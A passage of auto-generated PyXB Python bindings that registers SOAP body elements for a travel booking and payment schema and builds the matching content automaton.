location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 48, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'createBookingRecordRequest'), _ImportedBinding_silverbook.CreateBookingRecordRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 49, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'createBookingRecordResponse'), _ImportedBinding_silverbook.CreateBookingRecordResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 50, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'recordFinancialTransactionRequest'), _ImportedBinding_silverbook.RecordFinancialTransactionRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 51, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'recordFinancialTransactionResponse'), _ImportedBinding_silverbook.RecordFinancialTransactionResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 52, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'redeliverValueDocumentRequest'), _ImportedBinding_silverbook.RedeliverValueDocumentRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 53, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'redeliverValueDocumentResponse'), _ImportedBinding_silverbook.RedeliverValueDocumentResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 54, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'retrieveBookingRecordRequest'), _ImportedBinding_silverbook.RetrieveBookingRecordRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 55, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'retrieveBookingRecordResponse'), _ImportedBinding_silverbook.RetrieveBookingRecordResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 56, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'returnValueDocumentRequest'), _ImportedBinding_silverbook.ReturnValueDocumentRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 57, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'returnValueDocumentResponse'), _ImportedBinding_silverbook.ReturnValueDocumentResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 58, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'searchBookingRecordsRequest'), _ImportedBinding_silverbook.SearchBookingRecordsRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 59, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'searchBookingRecordsResponse'), _ImportedBinding_silverbook.SearchBookingRecordsResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 60, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'updateBookingRecordRequest'), _ImportedBinding_silverbook.UpdateBookingRecordRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 61, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'updateBookingRecordResponse'), _ImportedBinding_silverbook.UpdateBookingRecordResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 62, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'refundBookingRecordRequest'), _ImportedBinding_silverbook.RefundBookingRecordRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 63, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'refundBookingRecordResponse'), _ImportedBinding_silverbook.RefundBookingRecordResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 64, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'validateBookingRecordInformationRequest'), _ImportedBinding_silverbook.ValidateBookingRecordInformationRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 65, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'validateBookingRecordInformationResponse'), _ImportedBinding_silverbook.ValidateBookingRecordInformationResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 66, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'generatePaymentTokenRequest'), _ImportedBinding_silverbook.GeneratePaymentTokenRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 67, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'generatePaymentTokenResponse'), _ImportedBinding_silverbook.GeneratePaymentTokenResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 68, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'deletePaymentTokenRequest'), _ImportedBinding_silverbook.DeletePaymentTokenRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 69, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'deletePaymentTokenResponse'), _ImportedBinding_silverbook.DeletePaymentTokenResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 70, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'retrieveCancellationSummaryRequest'), _ImportedBinding_silverbook.RetrieveCancellationSummaryRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 71, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'retrieveCancellationSummaryResponse'), _ImportedBinding_silverbook.RetrieveCancellationSummaryResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 72, 12))) def _BuildAutomaton_2 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_2 del _BuildAutomaton_2 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 33, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 34, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 35, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 36, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 37, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 38, 12)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 39, 12)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 40, 12)) counters.add(cc_7) cc_8 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 41, 12)) counters.add(cc_8) cc_9 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 42, 12)) counters.add(cc_9) cc_10 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 43, 12)) counters.add(cc_10) cc_11 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 44, 12)) counters.add(cc_11) cc_12 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 45, 12)) counters.add(cc_12) cc_13 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 46, 12)) counters.add(cc_13) cc_14 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 47, 12)) counters.add(cc_14) cc_15 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 48, 12)) counters.add(cc_15) cc_16 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 49, 12)) counters.add(cc_16) cc_17 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 50, 12)) counters.add(cc_17) cc_18 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 51, 12)) counters.add(cc_18) cc_19 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 52, 12)) counters.add(cc_19) cc_20 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 53, 12)) counters.add(cc_20) cc_21 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 54, 12)) counters.add(cc_21) cc_22 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 55, 12)) counters.add(cc_22) cc_23 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 56, 12)) counters.add(cc_23) cc_24 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 57, 12)) counters.add(cc_24) cc_25 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 58, 12)) counters.add(cc_25) cc_26 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 59, 12)) counters.add(cc_26) cc_27 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 60, 12)) counters.add(cc_27) cc_28 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 61, 12)) counters.add(cc_28) cc_29 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 62, 12)) counters.add(cc_29) cc_30 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 63, 12)) counters.add(cc_30) cc_31 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 64, 12)) counters.add(cc_31) cc_32 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 65, 12)) counters.add(cc_32) cc_33 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 66, 12)) counters.add(cc_33) cc_34 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 67, 12)) counters.add(cc_34) cc_35 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 68, 12)) counters.add(cc_35) cc_36 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 69, 12)) counters.add(cc_36) cc_37 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 70, 12)) counters.add(cc_37) cc_38 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 71, 12)) counters.add(cc_38) cc_39 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 72, 12)) counters.add(cc_39) cc_40 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 73, 12)) counters.add(cc_40) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'pointToPointShoppingRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 33, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'pointToPointShoppingResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 34, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'travelPassShoppingRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 35, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'travelPassShoppingResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 36, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'scheduleSearchRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 37, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'scheduleSearchResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 38, 12)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'addPaymentRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 39, 12)) st_6 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_7, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'addPaymentResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 40, 12)) st_7 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_7) final_update = set() final_update.add(fac.UpdateInstruction(cc_8, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'authenticatePayerRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 41, 12)) st_8 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_8) final_update = set() final_update.add(fac.UpdateInstruction(cc_9, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'authenticatePayerResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 42, 12)) st_9 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_9) final_update = set() final_update.add(fac.UpdateInstruction(cc_10, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'cancelBookingRecordRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 43, 12)) st_10 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_10) final_update = set() final_update.add(fac.UpdateInstruction(cc_11, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'cancelBookingRecordResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 44, 12)) st_11 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_11) final_update = set() final_update.add(fac.UpdateInstruction(cc_12, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'claimValueDocumentRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 45, 12)) st_12 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_12) final_update = set() final_update.add(fac.UpdateInstruction(cc_13, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'claimValueDocumentResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 46, 12)) st_13 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_13) final_update = set() final_update.add(fac.UpdateInstruction(cc_14, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'confirmBookingRecordRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 47, 12)) st_14 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_14) final_update = set() final_update.add(fac.UpdateInstruction(cc_15, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'confirmBookingRecordResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 48, 12)) st_15 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_15) final_update = set() final_update.add(fac.UpdateInstruction(cc_16, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'createBookingRecordRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 49, 12)) st_16 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_16) final_update = set() final_update.add(fac.UpdateInstruction(cc_17, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'createBookingRecordResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 50, 12)) st_17 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_17) final_update = set() final_update.add(fac.UpdateInstruction(cc_18, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'recordFinancialTransactionRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 51, 12)) st_18 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_18) final_update = set() final_update.add(fac.UpdateInstruction(cc_19, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'recordFinancialTransactionResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 52, 12)) st_19 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_19) final_update = set() final_update.add(fac.UpdateInstruction(cc_20, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'redeliverValueDocumentRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 53, 12)) st_20 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_20) final_update = set() final_update.add(fac.UpdateInstruction(cc_21, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'redeliverValueDocumentResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 54, 12)) st_21 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_21) final_update = set() final_update.add(fac.UpdateInstruction(cc_22, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'retrieveBookingRecordRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 55, 12)) st_22 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_22) final_update = set() final_update.add(fac.UpdateInstruction(cc_23, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'retrieveBookingRecordResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 56, 12)) st_23 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_23) final_update = set() final_update.add(fac.UpdateInstruction(cc_24, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'returnValueDocumentRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 57, 12)) st_24 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_24) final_update = set() final_update.add(fac.UpdateInstruction(cc_25, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'returnValueDocumentResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 58, 12)) st_25 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_25) final_update = set() final_update.add(fac.UpdateInstruction(cc_26, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'searchBookingRecordsRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 59, 12)) st_26 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_26) final_update = set() final_update.add(fac.UpdateInstruction(cc_27, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'searchBookingRecordsResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 60, 12)) st_27 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_27) final_update = set() final_update.add(fac.UpdateInstruction(cc_28, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'updateBookingRecordRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 61, 12)) st_28 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_28) final_update = set() final_update.add(fac.UpdateInstruction(cc_29, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'updateBookingRecordResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 62, 12)) st_29 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_29) final_update = set() final_update.add(fac.UpdateInstruction(cc_30, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'refundBookingRecordRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 63, 12)) st_30 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_30) final_update = set() final_update.add(fac.UpdateInstruction(cc_31, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'refundBookingRecordResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 64, 12)) st_31 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_31) final_update = set() final_update.add(fac.UpdateInstruction(cc_32, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'validateBookingRecordInformationRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 65, 12)) st_32 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_32) final_update = set() final_update.add(fac.UpdateInstruction(cc_33, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'validateBookingRecordInformationResponse')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 66, 12)) st_33 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_33) final_update = set() final_update.add(fac.UpdateInstruction(cc_34, False)) symbol = pyxb.binding.content.ElementUse(Body_._UseForTag(pyxb.namespace.ExpandedName(None, 'generatePaymentTokenRequest')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 67, 12)) st_34 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_34) final_update = set() final_update.add(fac.UpdateInstruction(cc_35, False)) symbol = 